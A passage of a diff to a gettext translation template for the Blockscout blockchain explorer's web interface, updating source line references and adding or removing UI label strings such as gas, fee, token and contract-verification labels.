lib/block_scout_web/templates/log/_data_decoded_view.html.eex:6 #: lib/block_scout_web/templates/log/_data_decoded_view.html.eex:6 #, elixir-autogen, elixir-format msgid "Indexed?" msgstr "" -#: lib/block_scout_web/templates/layout/app.html.eex:44 -#, elixir-autogen, elixir-format -msgid "Indexing Tokens" -msgstr "" - +#: lib/block_scout_web/templates/transaction/_decoded_input.html.eex:3 #: lib/block_scout_web/templates/transaction/_decoded_input.html.eex:3 #, elixir-autogen, elixir-format msgid "Input" msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:213 +#: lib/block_scout_web/templates/transaction/overview.html.eex:265 +#: lib/block_scout_web/templates/transaction/overview.html.eex:265 #, elixir-autogen, elixir-format msgid "Interacted With (To)" msgstr "" +#: lib/block_scout_web/templates/internal_transaction/_tile.html.eex:7 #: lib/block_scout_web/templates/internal_transaction/_tile.html.eex:7 #, elixir-autogen, elixir-format msgid "Internal Transaction" msgstr "" -#: lib/block_scout_web/templates/address/_tabs.html.eex:28 +#: lib/block_scout_web/templates/address/_tabs.html.eex:36 +#: lib/block_scout_web/templates/address/_tabs.html.eex:36 +#: lib/block_scout_web/templates/address_internal_transaction/index.html.eex:17 #: lib/block_scout_web/templates/address_internal_transaction/index.html.eex:17 #: lib/block_scout_web/templates/transaction/_tabs.html.eex:11 +#: lib/block_scout_web/templates/transaction/_tabs.html.eex:11 #: lib/block_scout_web/templates/transaction_internal_transaction/index.html.eex:6 -#: lib/block_scout_web/views/address_view.ex:361 -#: lib/block_scout_web/views/transaction_view.ex:512 +#: lib/block_scout_web/templates/transaction_internal_transaction/index.html.eex:6 +#: lib/block_scout_web/views/address_view.ex:353 +#: lib/block_scout_web/views/address_view.ex:353 +#: lib/block_scout_web/views/transaction_view.ex:552 +#: lib/block_scout_web/views/transaction_view.ex:552 #, elixir-autogen, elixir-format msgid "Internal Transactions" msgstr "" -#: lib/block_scout_web/templates/transaction/invalid.html.eex:6 +#: lib/block_scout_web/templates/internal_server_error/index.html.eex:7 +#: lib/block_scout_web/templates/internal_server_error/index.html.eex:7 +#, elixir-autogen, elixir-format +msgid "Internal server error" +msgstr "" + +#: lib/block_scout_web/views/internal_transaction_view.ex:25 +#: lib/block_scout_web/views/internal_transaction_view.ex:25 #, elixir-autogen, elixir-format -msgid "Invalid Transaction Hash" +msgid "Invalid" msgstr "" -#: lib/block_scout_web/templates/tokens/inventory/index.html.eex:15 +#: lib/block_scout_web/templates/tokens/inventory/index.html.eex:16 +#: lib/block_scout_web/templates/tokens/inventory/index.html.eex:16 #: lib/block_scout_web/templates/tokens/overview/_tabs.html.eex:19 +#: lib/block_scout_web/templates/tokens/overview/_tabs.html.eex:19 +#: lib/block_scout_web/views/tokens/overview_view.ex:42 #: lib/block_scout_web/views/tokens/overview_view.ex:42 #, elixir-autogen, elixir-format msgid "Inventory" msgstr "" -#: lib/block_scout_web/templates/transaction/not_found.html.eex:16 +#: lib/block_scout_web/templates/address_contract_verification_common_fields/_yul_contracts_switcher.html.eex:3 +#: lib/block_scout_web/templates/address_contract_verification_common_fields/_yul_contracts_switcher.html.eex:3 #, elixir-autogen, elixir-format -msgid "It could still be in the TX Pool of a different node, waiting to be broadcasted." +msgid "Is Yul contract" msgstr "" -#: lib/block_scout_web/templates/address/overview.html.eex:276 +#: lib/block_scout_web/templates/transaction/overview.html.eex:204 +#: lib/block_scout_web/templates/transaction/overview.html.eex:204 +#, elixir-autogen, elixir-format, fuzzy +msgid "L1 Block" +msgstr "" + +#: lib/block_scout_web/templates/transaction/overview.html.eex:523 +#: lib/block_scout_web/templates/transaction/overview.html.eex:523 +#: lib/block_scout_web/templates/transaction/overview.html.eex:524 +#: lib/block_scout_web/templates/transaction/overview.html.eex:524 +#, elixir-autogen, elixir-format +msgid "L1 Fee Scalar" +msgstr "" + +#: lib/block_scout_web/templates/transaction/overview.html.eex:512 +#: lib/block_scout_web/templates/transaction/overview.html.eex:512 +#: lib/block_scout_web/templates/transaction/overview.html.eex:513 +#: lib/block_scout_web/templates/transaction/overview.html.eex:513 +#, elixir-autogen, elixir-format, fuzzy +msgid "L1 Gas Price" +msgstr "" + +#: lib/block_scout_web/templates/transaction/overview.html.eex:501 +#: lib/block_scout_web/templates/transaction/overview.html.eex:501 +#: lib/block_scout_web/templates/transaction/overview.html.eex:502 +#: lib/block_scout_web/templates/transaction/overview.html.eex:502 +#, elixir-autogen, elixir-format +msgid "L1 Gas Used by Transaction" +msgstr "" + +#: lib/block_scout_web/templates/transaction/overview.html.eex:426 +#: lib/block_scout_web/templates/transaction/overview.html.eex:426 +#, elixir-autogen, elixir-format, fuzzy +msgid "L2 Gas Limit" +msgstr "" + +#: lib/block_scout_web/templates/transaction/overview.html.eex:400 +#: lib/block_scout_web/templates/transaction/overview.html.eex:400 +#, elixir-autogen, elixir-format, fuzzy +msgid "L2 Gas Price" +msgstr "" + +#: lib/block_scout_web/templates/transaction/overview.html.eex:485 +#: lib/block_scout_web/templates/transaction/overview.html.eex:485 +#, elixir-autogen, elixir-format +msgid "L2 Gas Used by Transaction" +msgstr "" + +#: lib/block_scout_web/templates/verified_contracts/_stats.html.eex:13 +#: lib/block_scout_web/templates/verified_contracts/_stats.html.eex:13 +#: lib/block_scout_web/templates/verified_contracts/_stats.html.eex:26 +#: lib/block_scout_web/templates/verified_contracts/_stats.html.eex:26 +#, elixir-autogen, elixir-format +msgid "Last 24h" +msgstr "" + +#: lib/block_scout_web/templates/address/overview.html.eex:260 +#: lib/block_scout_web/templates/address/overview.html.eex:260 #, elixir-autogen, elixir-format msgid "Last Balance Update" msgstr "" -#: lib/block_scout_web/templates/layout/app.html.eex:45 +#: lib/block_scout_web/templates/account/api_key/index.html.eex:12 +#: lib/block_scout_web/templates/account/api_key/index.html.eex:12 +#: lib/block_scout_web/templates/account/api_key/index.html.eex:18 +#: lib/block_scout_web/templates/account/api_key/index.html.eex:18 #, elixir-autogen, elixir-format -msgid "Less than" +msgid "Learn more" msgstr "" -#: lib/block_scout_web/templates/address_contract_verification_common_fields/_library_address.html.eex:3 +#: lib/block_scout_web/templates/layout/app.html.eex:49 +#: lib/block_scout_web/templates/layout/app.html.eex:49 #, elixir-autogen, elixir-format -msgid "Library Address" +msgid "Less than" msgstr "" -#: lib/block_scout_web/templates/address_contract_verification_common_fields/_library_name.html.eex:3 +#: lib/block_scout_web/templates/address_contract_verification_common_fields/_library_address.html.eex:4 +#: lib/block_scout_web/templates/address_contract_verification_common_fields/_library_address.html.eex:4 +#: lib/block_scout_web/templates/address_contract_verification_common_fields/_library_name.html.eex:4 +#: lib/block_scout_web/templates/address_contract_verification_common_fields/_library_name.html.eex:4 #, elixir-autogen, elixir-format -msgid "Library Name" +msgid "Library" msgstr "" +#: lib/block_scout_web/templates/address/_validator_metadata_modal.html.eex:24 #: lib/block_scout_web/templates/address/_validator_metadata_modal.html.eex:24 #, elixir-autogen, elixir-format msgid "License Expires" msgstr "" +#: lib/block_scout_web/templates/address/_validator_metadata_modal.html.eex:10 #: lib/block_scout_web/templates/address/_validator_metadata_modal.html.eex:10 #, elixir-autogen, elixir-format msgid "License ID" msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:297 +#: lib/block_scout_web/templates/transaction/overview.html.eex:351 +#: lib/block_scout_web/templates/transaction/overview.html.eex:351 #, elixir-autogen, elixir-format msgid "List of ERC-1155 tokens created in the transaction." msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:281 +#: lib/block_scout_web/templates/transaction/overview.html.eex:335 +#: lib/block_scout_web/templates/transaction/overview.html.eex:335 #, elixir-autogen, elixir-format msgid "List of token burnt in the transaction." msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:264 +#: lib/block_scout_web/templates/transaction/overview.html.eex:318 +#: lib/block_scout_web/templates/transaction/overview.html.eex:318 #, elixir-autogen, elixir-format msgid "List of token minted in the transaction." msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:248 +#: lib/block_scout_web/templates/transaction/overview.html.eex:302 +#: lib/block_scout_web/templates/transaction/overview.html.eex:302 #, elixir-autogen, elixir-format msgid "List of token transferred in the transaction." msgstr "" +#: lib/block_scout_web/templates/address_coin_balance/index.html.eex:18 #: lib/block_scout_web/templates/address_coin_balance/index.html.eex:18 #, elixir-autogen, elixir-format msgid "Loading chart..." msgstr "" #: lib/block_scout_web/templates/address_contract_verification/new.html.eex:77 -#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:139 +#: lib/block_scout_web/templates/address_contract_verification/new.html.eex:77 +#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:109 +#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:109 #: lib/block_scout_web/templates/address_contract_verification_via_json/new.html.eex:35 -#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:133 +#: lib/block_scout_web/templates/address_contract_verification_via_json/new.html.eex:35 +#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:99 +#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:99 +#: lib/block_scout_web/templates/address_contract_verification_via_standard_json_input/new.html.eex:49 #: lib/block_scout_web/templates/address_contract_verification_via_standard_json_input/new.html.eex:49 #: lib/block_scout_web/templates/address_contract_verification_vyper/new.html.eex:45 -#: lib/block_scout_web/templates/address_read_contract/index.html.eex:12 +#: lib/block_scout_web/templates/address_contract_verification_vyper/new.html.eex:45 +#: lib/block_scout_web/templates/address_read_contract/index.html.eex:41 +#: lib/block_scout_web/templates/address_read_contract/index.html.eex:41 +#: lib/block_scout_web/templates/address_read_contract/index.html.eex:49 +#: lib/block_scout_web/templates/address_read_contract/index.html.eex:49 +#: lib/block_scout_web/templates/address_read_proxy/index.html.eex:12 #: lib/block_scout_web/templates/address_read_proxy/index.html.eex:12 -#: lib/block_scout_web/templates/address_write_contract/index.html.eex:12 +#: lib/block_scout_web/templates/address_write_contract/index.html.eex:39 +#: lib/block_scout_web/templates/address_write_contract/index.html.eex:39 +#: lib/block_scout_web/templates/address_write_contract/index.html.eex:47 +#: lib/block_scout_web/templates/address_write_contract/index.html.eex:47 #: lib/block_scout_web/templates/address_write_proxy/index.html.eex:12 -#: lib/block_scout_web/templates/tokens/contract/index.html.eex:16 +#: lib/block_scout_web/templates/address_write_proxy/index.html.eex:12 +#: lib/block_scout_web/templates/tokens/contract/index.html.eex:17 +#: lib/block_scout_web/templates/tokens/contract/index.html.eex:17 #, elixir-autogen, elixir-format msgid "Loading..." msgstr "" +#: lib/block_scout_web/templates/log/_data_decoded_view.html.eex:2 #: lib/block_scout_web/templates/log/_data_decoded_view.html.eex:2 #, elixir-autogen, elixir-format msgid "Log Data" msgstr "" -#: lib/block_scout_web/templates/transaction_log/_logs.html.eex:131 +#: lib/block_scout_web/templates/transaction_log/_logs.html.eex:140 +#: lib/block_scout_web/templates/transaction_log/_logs.html.eex:140 #, elixir-autogen, elixir-format msgid "Log Index" msgstr "" -#: lib/block_scout_web/templates/address/_tabs.html.eex:41 +#: lib/block_scout_web/templates/address/_tabs.html.eex:49 +#: lib/block_scout_web/templates/address/_tabs.html.eex:49 #: lib/block_scout_web/templates/address_logs/index.html.eex:10 +#: lib/block_scout_web/templates/address_logs/index.html.eex:10 +#: lib/block_scout_web/templates/transaction/_tabs.html.eex:17 #: lib/block_scout_web/templates/transaction/_tabs.html.eex:17 #: lib/block_scout_web/templates/transaction_log/index.html.eex:8 -#: lib/block_scout_web/views/address_view.ex:372 -#: lib/block_scout_web/views/transaction_view.ex:513 +#: lib/block_scout_web/templates/transaction_log/index.html.eex:8 +#: lib/block_scout_web/views/address_view.ex:363 +#: lib/block_scout_web/views/address_view.ex:363 +#: lib/block_scout_web/views/transaction_view.ex:553 +#: lib/block_scout_web/views/transaction_view.ex:553 #, elixir-autogen, elixir-format msgid "Logs" msgstr "" -#: lib/block_scout_web/templates/layout/_footer.html.eex:50 +#: lib/block_scout_web/templates/layout/_footer.html.eex:54 +#: lib/block_scout_web/templates/layout/_footer.html.eex:54 #, elixir-autogen, elixir-format msgid "Main Networks" msgstr "" -#: lib/block_scout_web/templates/chain/show.html.eex:52 -#: lib/block_scout_web/templates/layout/app.html.eex:46 -#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:83 -#: lib/block_scout_web/views/address_view.ex:142 +#: lib/block_scout_web/templates/chain/show.html.eex:53 +#: lib/block_scout_web/templates/chain/show.html.eex:53 +#: lib/block_scout_web/templates/layout/app.html.eex:50 +#: lib/block_scout_web/templates/layout/app.html.eex:50 +#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:85 +#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:85 +#: lib/block_scout_web/views/address_view.ex:148 +#: lib/block_scout_web/views/address_view.ex:148 #, elixir-autogen, elixir-format msgid "Market Cap" msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:374 +#: lib/block_scout_web/templates/verified_contracts/index.html.eex:84 +#: lib/block_scout_web/templates/verified_contracts/index.html.eex:84 +#, elixir-autogen, elixir-format +msgid "Market cap" +msgstr "" + +#: lib/block_scout_web/templates/transaction/overview.html.eex:440 +#: lib/block_scout_web/templates/transaction/overview.html.eex:440 #, elixir-autogen, elixir-format msgid "Max Fee per Gas" msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:384 +#: lib/block_scout_web/templates/transaction/overview.html.eex:450 +#: lib/block_scout_web/templates/transaction/overview.html.eex:450 #, elixir-autogen, elixir-format msgid "Max Priority Fee per Gas" msgstr "" -#: lib/block_scout_web/views/transaction_view.ex:319 +#: lib/block_scout_web/views/transaction_view.ex:331 +#: lib/block_scout_web/views/transaction_view.ex:331 #, elixir-autogen, elixir-format msgid "Max of" msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:364 +#: lib/block_scout_web/templates/transaction/overview.html.eex:425 +#: lib/block_scout_web/templates/transaction/overview.html.eex:425 #, elixir-autogen, elixir-format +msgid "Maximum gas amount approved for the transaction on L2." +msgstr "" + +#: lib/block_scout_web/templates/transaction/overview.html.eex:429 +#: lib/block_scout_web/templates/transaction/overview.html.eex:429 +#, elixir-autogen, elixir-format, fuzzy msgid "Maximum gas amount approved for the transaction." msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:373 +#: lib/block_scout_web/templates/transaction/overview.html.eex:439 +#: lib/block_scout_web/templates/transaction/overview.html.eex:439 #, elixir-autogen, elixir-format msgid "Maximum total amount per unit of gas a user is willing to pay for a transaction, including base fee and priority fee." msgstr "" +#: lib/block_scout_web/templates/tokens/instance/metadata/index.html.eex:18 #: lib/block_scout_web/templates/tokens/instance/metadata/index.html.eex:18 #: lib/block_scout_web/templates/tokens/instance/overview/_tabs.html.eex:10 -#: lib/block_scout_web/views/tokens/instance/overview_view.ex:196 +#: lib/block_scout_web/templates/tokens/instance/overview/_tabs.html.eex:10 +#: lib/block_scout_web/views/tokens/instance/overview_view.ex:75 +#: lib/block_scout_web/views/tokens/instance/overview_view.ex:75 #, elixir-autogen, elixir-format msgid "Metadata" msgstr "" +#: lib/block_scout_web/templates/transaction/_decoded_input_body.html.eex:5 #: lib/block_scout_web/templates/transaction/_decoded_input_body.html.eex:5 #, elixir-autogen, elixir-format msgid "Method Id" msgstr "" #: lib/block_scout_web/templates/block/_tile.html.eex:41 +#: lib/block_scout_web/templates/block/_tile.html.eex:41 +#: lib/block_scout_web/templates/block/overview.html.eex:98 #: lib/block_scout_web/templates/block/overview.html.eex:98 #: lib/block_scout_web/templates/chain/_block.html.eex:16 +#: lib/block_scout_web/templates/chain/_block.html.eex:16 +#: lib/block_scout_web/templates/transaction_state/_state_change.html.eex:22 +#: lib/block_scout_web/templates/transaction_state/_state_change.html.eex:22 #, elixir-autogen, elixir-format msgid "Miner" msgstr "" -#: lib/block_scout_web/views/block_view.ex:61 -#: lib/block_scout_web/views/block_view.ex:66 +#: lib/block_scout_web/views/block_view.ex:63 +#: lib/block_scout_web/views/block_view.ex:63 +#: lib/block_scout_web/views/block_view.ex:68 +#: lib/block_scout_web/views/block_view.ex:68 #, elixir-autogen, elixir-format msgid "Miner Reward" msgstr "" +#: lib/block_scout_web/templates/common_components/_minimal_proxy_pattern.html.eex:3 #: lib/block_scout_web/templates/common_components/_minimal_proxy_pattern.html.eex:3 #, elixir-autogen, elixir-format msgid "Minimal Proxy Contract for" msgstr "" -#: lib/block_scout_web/templates/block/overview.html.eex:206 +#: lib/block_scout_web/templates/block/overview.html.eex:208 +#: lib/block_scout_web/templates/block/overview.html.eex:208 #, elixir-autogen, elixir-format msgid "Minimum fee required per unit of gas. Fee adjusts based on network congestion." msgstr "" +#: lib/block_scout_web/templates/transaction/_actions.html.eex:92 +#: lib/block_scout_web/templates/transaction/_actions.html.eex:92 +#, elixir-autogen, elixir-format +msgid "Mint of %{address} To %{to}" +msgstr "" + +#: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:223 #: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:223 #, elixir-autogen, elixir-format msgid "Model" msgstr "" +#: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:58 #: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:58 #, elixir-autogen, elixir-format msgid "Module" msgstr "" +#: lib/block_scout_web/templates/address_internal_transaction/index.html.eex:12 #: lib/block_scout_web/templates/address_internal_transaction/index.html.eex:12 #, elixir-autogen, elixir-format msgid "More internal transactions have come in" msgstr "" #: lib/block_scout_web/templates/address_transaction/index.html.eex:46 -#: lib/block_scout_web/templates/chain/show.html.eex:216 +#: lib/block_scout_web/templates/address_transaction/index.html.eex:46 +#: lib/block_scout_web/templates/chain/show.html.eex:219 +#: lib/block_scout_web/templates/chain/show.html.eex:219 #: lib/block_scout_web/templates/pending_transaction/index.html.eex:13 +#: lib/block_scout_web/templates/pending_transaction/index.html.eex:13 +#: lib/block_scout_web/templates/transaction/index.html.eex:19 #: lib/block_scout_web/templates/transaction/index.html.eex:19 #, elixir-autogen, elixir-format msgid "More transactions have come in" msgstr "" #: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:63 +#: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:63 +#: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:74 #: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:74 #, elixir-autogen, elixir-format msgid "Must be set to:" msgstr "" +#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:22 +#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:22 +#, elixir-autogen, elixir-format +msgid "Must match the name specified in the code. For example, in contract MyContract {..} MyContract is the contract name." +msgstr "" + +#: lib/block_scout_web/templates/tokens/_tile.html.eex:40 +#: lib/block_scout_web/templates/tokens/_tile.html.eex:40 +#: lib/block_scout_web/templates/verified_contracts/_contract.html.eex:21 +#: lib/block_scout_web/templates/verified_contracts/_contract.html.eex:21 +#: lib/block_scout_web/templates/verified_contracts/_contract.html.eex:61 +#: lib/block_scout_web/templates/verified_contracts/_contract.html.eex:61 +#, elixir-autogen, elixir-format +msgid "N/A" +msgstr "" + +#: lib/block_scout_web/templates/block/overview.html.eex:116 #: lib/block_scout_web/templates/block/overview.html.eex:116 #, elixir-autogen, elixir-format msgid "N/A bytes" msgstr "" +#: lib/block_scout_web/templates/account/api_key/form.html.eex:19 +#: lib/block_scout_web/templates/account/api_key/form.html.eex:19 +#: lib/block_scout_web/templates/account/api_key/index.html.eex:28 +#: lib/block_scout_web/templates/account/api_key/index.html.eex:28 +#: lib/block_scout_web/templates/account/custom_abi/form.html.eex:13 +#: lib/block_scout_web/templates/account/custom_abi/form.html.eex:13 +#: lib/block_scout_web/templates/account/custom_abi/index.html.eex:28 +#: lib/block_scout_web/templates/account/custom_abi/index.html.eex:28 +#: lib/block_scout_web/templates/account/tag_address/form.html.eex:18 +#: lib/block_scout_web/templates/account/tag_address/form.html.eex:18 +#: lib/block_scout_web/templates/account/tag_address/index.html.eex:22 +#: lib/block_scout_web/templates/account/tag_address/index.html.eex:22 +#: lib/block_scout_web/templates/account/tag_transaction/form.html.eex:18 +#: lib/block_scout_web/templates/account/tag_transaction/form.html.eex:18 +#: lib/block_scout_web/templates/account/tag_transaction/index.html.eex:22 +#: lib/block_scout_web/templates/account/tag_transaction/index.html.eex:22 +#: lib/block_scout_web/templates/account/watchlist/show.html.eex:22 +#: lib/block_scout_web/templates/account/watchlist/show.html.eex:22 +#: lib/block_scout_web/templates/account/watchlist_address/form.html.eex:19 +#: lib/block_scout_web/templates/account/watchlist_address/form.html.eex:19 +#: lib/block_scout_web/templates/address_contract_verification_common_fields/_library_name.html.eex:4 +#: lib/block_scout_web/templates/address_contract_verification_common_fields/_library_name.html.eex:4 #: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:52 +#: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:52 +#: lib/block_scout_web/templates/api_docs/_eth_rpc_item.html.eex:59 #: lib/block_scout_web/templates/api_docs/_eth_rpc_item.html.eex:59 #: lib/block_scout_web/templates/log/_data_decoded_view.html.eex:4 +#: lib/block_scout_web/templates/log/_data_decoded_view.html.eex:4 +#: lib/block_scout_web/templates/transaction/_decoded_input_body.html.eex:21 #: lib/block_scout_web/templates/transaction/_decoded_input_body.html.eex:21 #, elixir-autogen, elixir-format msgid "Name" msgstr "" +#: lib/block_scout_web/templates/account/api_key/form.html.eex:20 +#: lib/block_scout_web/templates/account/api_key/form.html.eex:20 +#, elixir-autogen, elixir-format +msgid "Name this API key" +msgstr "" + +#: lib/block_scout_web/templates/account/custom_abi/form.html.eex:14 +#: lib/block_scout_web/templates/account/custom_abi/form.html.eex:14 +#, elixir-autogen, elixir-format +msgid "Name this Custom ABI" +msgstr "" + +#: lib/block_scout_web/templates/account/tag_address/form.html.eex:19 +#: lib/block_scout_web/templates/account/tag_address/form.html.eex:19 +#: lib/block_scout_web/templates/account/watchlist_address/form.html.eex:20 +#: lib/block_scout_web/templates/account/watchlist_address/form.html.eex:20 +#, elixir-autogen, elixir-format +msgid "Name this address" +msgstr "" + +#: lib/block_scout_web/templates/account/tag_transaction/form.html.eex:19 +#: lib/block_scout_web/templates/account/tag_transaction/form.html.eex:19 +#, elixir-autogen, elixir-format +msgid "Name this transaction" +msgstr "" + +#: lib/block_scout_web/templates/address_token/overview.html.eex:44 #: lib/block_scout_web/templates/address_token/overview.html.eex:44 #, elixir-autogen, elixir-format msgid "Net Worth" msgstr "" #: lib/block_scout_web/templates/address_contract_verification/new.html.eex:5 -#: lib/block_scout_web/templates/address_contract_verification_via_json/new.html.eex:5 -#: lib/block_scout_web/templates/address_contract_verification_via_standard_json_input/new.html.eex:9 +#: lib/block_scout_web/templates/address_contract_verification/new.html.eex:5 #, elixir-autogen, elixir-format msgid "New Smart Contract Verification" msgstr "" +#: lib/block_scout_web/templates/address_contract_verification_via_standard_json_input/new.html.eex:9 +#: lib/block_scout_web/templates/address_contract_verification_via_standard_json_input/new.html.eex:9 +#, elixir-autogen, elixir-format +msgid "New Smart Contract Verification via Standard input JSON" +msgstr "" + +#: lib/block_scout_web/templates/address_contract_verification_via_json/new.html.eex:5 +#: lib/block_scout_web/templates/address_contract_verification_via_json/new.html.eex:5 +#, elixir-autogen, elixir-format +msgid "New Smart Contract Verification via metadata JSON" +msgstr "" + #: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:9 +#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:9 +#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:7 #: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:7 #, elixir-autogen, elixir-format msgid "New Solidity Smart Contract Verification" msgstr "" +#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:7 +#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:7 +#, elixir-autogen, elixir-format +msgid "New Solidity/Yul Smart Contract Verification" +msgstr "" + +#: lib/block_scout_web/templates/address_contract_verification_vyper/new.html.eex:7 #: lib/block_scout_web/templates/address_contract_verification_vyper/new.html.eex:7 #, elixir-autogen, elixir-format msgid "New Vyper Smart Contract Verification" msgstr "" #: lib/block_scout_web/templates/address_contract_verification/new.html.eex:80 +#: lib/block_scout_web/templates/address_contract_verification/new.html.eex:80 +#: lib/block_scout_web/templates/address_contract_verification/new.html.eex:87 #: lib/block_scout_web/templates/address_contract_verification/new.html.eex:87 #: lib/block_scout_web/templates/address_contract_verification/new.html.eex:95 +#: lib/block_scout_web/templates/address_contract_verification/new.html.eex:95 +#: lib/block_scout_web/templates/address_contract_verification/new.html.eex:103 #: lib/block_scout_web/templates/address_contract_verification/new.html.eex:103 #: lib/block_scout_web/templates/address_contract_verification/new.html.eex:111 +#: lib/block_scout_web/templates/address_contract_verification/new.html.eex:111 #, elixir-autogen, elixir-format msgid "Next" msgstr "" +#: lib/block_scout_web/templates/address_contract_verification_common_fields/_fetch_constructor_args.html.eex:9 #: lib/block_scout_web/templates/address_contract_verification_common_fields/_fetch_constructor_args.html.eex:9 #: lib/block_scout_web/templates/address_contract_verification_common_fields/_include_nightly_builds_field.html.eex:9 -#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:42 +#: lib/block_scout_web/templates/address_contract_verification_common_fields/_include_nightly_builds_field.html.eex:9 +#: lib/block_scout_web/templates/address_contract_verification_common_fields/_yul_contracts_switcher.html.eex:9 +#: lib/block_scout_web/templates/address_contract_verification_common_fields/_yul_contracts_switcher.html.eex:9 +#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:46 +#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:46 +#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:38 #: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:38 #, elixir-autogen, elixir-format msgid "No" msgstr "" -#: lib/block_scout_web/templates/block/overview.html.eex:196 -#: lib/block_scout_web/templates/transaction/overview.html.eex:428 +#: lib/block_scout_web/templates/transaction_raw_trace/_card_body.html.eex:15 +#: lib/block_scout_web/templates/transaction_raw_trace/_card_body.html.eex:15 +#, elixir-autogen, elixir-format +msgid "No trace entries found." +msgstr "" + +#: lib/block_scout_web/templates/block/overview.html.eex:198 +#: lib/block_scout_web/templates/block/overview.html.eex:198 +#: lib/block_scout_web/templates/transaction/overview.html.eex:535 +#: lib/block_scout_web/templates/transaction/overview.html.eex:535 #, elixir-autogen, elixir-format msgid "Nonce" msgstr "" +#: lib/block_scout_web/templates/tokens/inventory/_token.html.eex:11 #: lib/block_scout_web/templates/tokens/inventory/_token.html.eex:11 #, elixir-autogen, elixir-format msgid "Not unique Token" msgstr "" -#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:106 +#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:107 +#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:107 #, elixir-autogen, elixir-format msgid "Number of accounts holding the token" msgstr "" -#: lib/block_scout_web/templates/address/overview.html.eex:292 +#: lib/block_scout_web/templates/address/overview.html.eex:276 +#: lib/block_scout_web/templates/address/overview.html.eex:276 #, elixir-autogen, elixir-format msgid "Number of blocks validated by this validator." msgstr "" -#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:129 +#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:130 +#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:130 #, elixir-autogen, elixir-format msgid "Number of digits that come after the decimal place when displaying token value" msgstr "" -#: lib/block_scout_web/templates/address/overview.html.eex:203 +#: lib/block_scout_web/templates/address/overview.html.eex:187 +#: lib/block_scout_web/templates/address/overview.html.eex:187 #, elixir-autogen, elixir-format msgid "Number of transactions related to this address." msgstr "" -#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:117 +#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:118 +#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:118 #, elixir-autogen, elixir-format msgid "Number of transfers for the token" msgstr "" -#: lib/block_scout_web/templates/address/overview.html.eex:230 +#: lib/block_scout_web/templates/address/overview.html.eex:214 +#: lib/block_scout_web/templates/address/overview.html.eex:214 #, elixir-autogen, elixir-format msgid "Number of transfers to/from this address." msgstr "" #: lib/block_scout_web/templates/internal_transaction/_tile.html.eex:40 -#: lib/block_scout_web/templates/transaction/_tile.html.eex:82 +#: lib/block_scout_web/templates/internal_transaction/_tile.html.eex:40 +#: lib/block_scout_web/templates/transaction/_tile.html.eex:88 +#: lib/block_scout_web/templates/transaction/_tile.html.eex:88 #, elixir-autogen, elixir-format msgid "OUT" msgstr "" +#: lib/block_scout_web/templates/common_components/_rap_pagination_container.html.eex:13 #: lib/block_scout_web/templates/common_components/_rap_pagination_container.html.eex:13 #, elixir-autogen, elixir-format msgid "Only the first" msgstr "" -#: lib/block_scout_web/templates/address_contract/index.html.eex:61 +#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:40 +#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:40 +#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:32 +#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:32 +#: lib/block_scout_web/templates/verified_contracts/index.html.eex:75 +#: lib/block_scout_web/templates/verified_contracts/index.html.eex:75 +#, elixir-autogen, elixir-format +msgid "Optimization" +msgstr "" + +#: lib/block_scout_web/templates/address_contract/index.html.eex:67 +#: lib/block_scout_web/templates/address_contract/index.html.eex:67 #, elixir-autogen, elixir-format msgid "Optimization enabled" msgstr "" -#: 